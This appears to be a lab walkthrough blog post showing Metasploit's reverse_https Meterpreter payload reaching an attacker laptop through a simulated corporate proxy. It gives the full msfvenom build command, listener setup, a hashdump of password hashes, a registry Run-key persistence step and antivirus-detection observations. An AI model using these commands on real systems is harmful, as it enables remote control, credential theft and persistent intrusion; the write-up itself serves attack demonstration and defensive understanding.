HD Moore announced a new post exploitation tool offering Meterpreter sessions over HTTPS (HTTP) that will traverse the corporate proxy. Variations on this have been available previously but have been for a number of reasons been not so stable.
Let's first look at a common locked down Corporate Network. Then we will show how pwnage is not difficult with this new Payload.
Lab Setup
I am simulating the network with 3 virtual guest machines and the host Ubuntu Linux system. 1 virtual guest will act as the Firewall and Proxy, while the 2 other guests are Windows clients that will be the targets. The laptop host in this lab is the attacker on the Internet.
| System | Operating System | IP Address |
| Laptop 4gb ram running VirtualBox | Ubuntu 11.04 | Host Only Networking: 192.168.56.1 |
| Linux Gateway guest1 |
Smoothwall with Proxy and Outbound Firewall Rules | Host Only Network: 192.168.56.101 Host Only Network2: 10.10.10.1 |
| Windows Victim1 guest2 |
Windows XP Service Pack 3 no additional patches |
Host Only Network2: 10.10.10.199 |
| Windows Victim2 guest3 |
Windows 7 Enterprise fully patched |
Host Only Network2: 10.10.10.198 |
On the virtual gateway Smoothwall box I configured DHCP, Proxy, Snort and Firewall Rules to block outbound traffic. Only opened 22 (for sftp) and proxy port (tcp 800). This has simulated the corporate network in the diagram above.
Build the malicious exe
Now build the malicious executable.
In this test we are building an exe to launch the Payload. Code execution on the client host could be accomplished in many ways, exploitation via social engineering, emailed links with malicious java applets, client based exploits etc.
On the Laptop I am running Metasploit Framework 3.7.2.
/opt/framework-3.7.2/msf3# msfvenom -p windows/meterpreter/reverse_https -f exe LHOST=192.168.56.1 LPORT=443 > evil_https.exe
Listen
Now to setup the listener on the laptop.
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https msf exploit(handler) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 msf exploit(handler) > set SessionCommunicationTimeout 0 SessionCommunicationTimeout => 0 msf exploit(handler) > set ExitOnSession false ExitOnSession => false msf exploit(handler) > set LPORT 443 LPORT => 443 msf exploit(handler) > exploit -j [*] Exploit running as background job. [*] Started HTTPS reverse handler on https://192.168.56.1:443/ [*] Starting the payload handler... msf exploit(handler) >
Use scp or whatever to copy evil_https.exe to the Windows XP system and then run it.
Back in the console on the Linux host we see.
[*] 192.168.56.101:43681 Request received for /INITM... [*] 192.168.56.101:43681 Staging connection for target /INITM received... [*] Patched transport at offset 486516... [*] Patched URL at offset 486248... [*] Patched Expiration Timeout at offset 641856... [*] Patched Communication Timeout at offset 641860... [*] Meterpreter session 1 opened (192.168.56.1:443 -> 192.168.56.101:43681) at Fri Jul 15 12:09:01 +1000 2011 meterpreter > hashdump Administrator:500:aad3b435b51404eexad3e435t51404ee:31d6cse0dfe6ae931b73c5ed7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:e4c292ecc2957ce7fb630fc6166aa510:235f3388ca0a29e8494d047362de1507::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c77865e3c4b213df710209775e335e62:::
evil_https.exe connected to the listener on Laptop. All communication took place over the proxy. Looking at netstat on the client XP machine we only see HTTPS connections to the proxy. A very normal type of connection.
How solid is the connection? Lets reboot the smoothwall proxy host.
Meterpreter session appears to hang during the reboot. Type a command; wait.... success!! The session over the proxy using HTTPS is re-established. I did not have to re-run executable.
meterpreter > ipconfig AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport Hardware MAC: 08:00:27:70:63:0d IP Address : 10.10.10.199 Netmask : 255.255.255.0 MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 meterpreter > screenshot Screenshot saved to: /opt/framework-3.7.2/msf3/bFjkdUHa.jpeg
Persistent
Lets improve things and make it persistent on the client so that when the corporate user takes his laptop home we get a session from home, and then another session the next morning from the corporate network.
These commands manipulate the registry and will add evil_https.exe to the start-up programs on the client XP machine.
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run Enumerating: HKLM\software\microsoft\windows\currentversion\run Values (1): VBoxTray meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v evil -d 'C:\windows\evil_https.exe' Successful set evil. meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run Enumerating: HKLM\software\microsoft\windows\currentversion\run Values (3): VBoxTray evil meterpreter >
Next I rebooted Windows XP and we received a new session on the listener after the reboot.
msf exploit(handler) > [*] 192.168.56.101:55182 Request received for /INITM... [*] 192.168.56.101:55182 Staging connection for target /INITM received... [*] Patched transport at offset 486516... [*] Patched URL at offset 486248... [*] Patched Expiration Timeout at offset 641856... [*] Patched Communication Timeout at offset 641860... [*] Meterpreter session 2 opened (192.168.56.1:443 -> 192.168.56.101:55182) at Fri Jul 15 12:43:31 +1000 2011
Nice, now as mentioned in the release blog post it should also be possible to quit out of the metasploit console and re-establish a session without touching the WinXP box.
I quit from Metasploit Console. Went and had some lunch.
Ok, after a great lunch I fired up the msfconsole using the same settings as before. I do not touch the XP machine.
/opt/framework-3.7.2/msf3# ./msfconsole | | _) | __ `__ \ _ \ __| _` | __| __ \ | _ \ | __| | | | __/ | ( |\__ \ | | | ( | | | _| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__| _| =[ metasploit v3.8.0-dev [core:3.8 api:1.0] + -- --=[ 711 exploits - 360 auxiliary - 58 post + -- --=[ 225 payloads - 27 encoders - 8 nops =[ svn r13116 updated 8 days ago (2011.07.07) msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https msf exploit(handler) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 msf exploit(handler) > set LPORT 443 LPORT => 443 msf exploit(handler) > set SessionCommunicationTimeout 0 SessionCommunicationTimeout => 0 msf exploit(handler) > set ExitOnSession false ExitOnSession => false msf exploit(handler) > exploit -j [*] Exploit running as background job. [*] Started HTTPS reverse handler on https://192.168.56.1:443/ [*] Starting the payload handler... msf exploit(handler) > [*] 192.168.56.101:40252 Request received for /CONN_pJGJgpWGAzUlDCTZ/... [*] Incoming orphaned session CONN_pJGJgpWGAzUlDCTZ, reattaching... [*] Meterpreter session 1 opened (192.168.56.1:443 -> 192.168.56.101:40252) at Fri Jul 15 13:57:34 +1000 2011
Wow, that is nice the client machine reconnected. This new payload is stable and undeniably dangerous.
Righto, same deal on fully patched Windows7 Enterprise with "Work Network Settings" (no Anti-Virus).
meterpreter > [*] 192.168.56.101:50910 Request received for /INITM... [*] 192.168.56.101:50910 Staging connection for target /INITM received... [*] Patched transport at offset 486516... [*] Patched URL at offset 486248... [*] Patched Expiration Timeout at offset 641856... [*] Patched Communication Timeout at offset 641860... [*] Meterpreter session 2 opened (192.168.56.1:443 -> 192.168.56.101:50910) at Fri Jul 15 14:22:07 +1000 2011 meterpreter > msf exploit(handler) > sessions -i 2 [*] Starting interaction with 2... meterpreter > ipconfig Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC: 08:00:27:ef:f4:61 IP Address : 10.10.10.198 Netmask : 255.255.255.0 meterpreter > sysinfo System Language : en_AU OS : Windows 7 (Build 7600). Computer : TEST-VM2 Architecture : x86 Meterpreter : x86/win32 meterpreter > run getcountermeasure [*] Running Getcountermeasure on the target... [*] Checking for contermeasures... [*] Getting Windows Built in Firewall configuration... [*] [*] Domain profile configuration: [*] ------------------------------------------------------------------- [*] Operational mode = Enable [*] Exception mode = Enable [*] [*] Standard profile configuration (current): [*] ------------------------------------------------------------------- [*] Operational mode = Enable [*] Exception mode = Enable [*] [*] Checking DEP Support Policy... meterpreter >
Booya!
Note that both the client systems were not running any Anti-virus. The executable may have been blocked if they were.
Lets check virustotal.com. Remember this is a vanilla payload from msfvenom. I have not used exe templates or attempted additional tricks to avoid Anti-virus detection.
Quite a few anti-virus programs detected the executable as dangerous (27 out of 43). Let's have a closer look at corporate favourites like Symantec and Trend.
Symantec and Trend did not detect the executable as dangerous.
By understanding the attack you can then start to discuss and find effective ways to defend against these types of targeted attacks.